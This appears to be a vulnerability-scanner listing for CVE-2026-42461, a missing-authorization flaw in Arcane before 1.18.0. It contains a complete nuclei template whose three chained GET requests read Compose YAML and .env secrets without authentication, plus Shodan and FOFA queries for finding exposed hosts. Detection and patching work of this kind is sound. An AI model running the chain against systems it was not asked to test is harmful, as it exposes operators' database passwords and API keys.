Arcane < 1.18.0 - Unauthenticated Template and Env Disclosure

highseverity

7.5CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

Arcane < 1.18.0 contains an information disclosure caused by missing authorization on /api/templates GET endpoints, letting unauthenticated network clients read sensitive Compose YAML and .env content, exploit requires network access

Impact

Unauthenticated attackers can read sensitive operator secrets like database passwords and API keys, risking full system compromise.

Fix

Update to version 1.18.0 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "/api/app-images")
Send: GET /api/templates/all
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "BaseApiResponseListTemplate")
Send: GET /api/templates/{{tid}}/content
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "envContent")

Run it with nuclei: nuclei -id CVE-2026-42461 -u <target>

The full check

id: CVE-2026-42461

info:
  name: Arcane < 1.18.0 - Unauthenticated Template and Env Disclosure
  author: str4k3r
  severity: high
  description: |
    Arcane < 1.18.0 contains an information disclosure caused by missing authorization on /api/templates GET endpoints, letting unauthenticated network clients read sensitive Compose YAML and .env content, exploit requires network access
  impact: |
    Unauthenticated attackers can read sensitive operator secrets like database passwords and API keys, risking full system compromise.
  remediation: |
    Update to version 1.18.0 or later.
  reference:
    - https://github.com/getarcaneapp/arcane/security/advisories/GHSA-cxx3-hr75-4q96
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42461
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-42461
    epss-score: 0.01283
    epss-percentile: 0.70326
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: getarcaneapp
    product: arcane
    shodan-query: html:"/api/app-images"
    fofa-query: body="/api/app-images"
  tags: cve,cve2026,arcane,exposure

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/api/app-images")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/templates/all HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "BaseApiResponseListTemplate")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: tid
        part: body
        group: 1
        internal: true
        regex:
          - '"id"\s*:\s*"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'

  - raw:
      - |
        GET /api/templates/{{tid}}/content HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "envContent")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from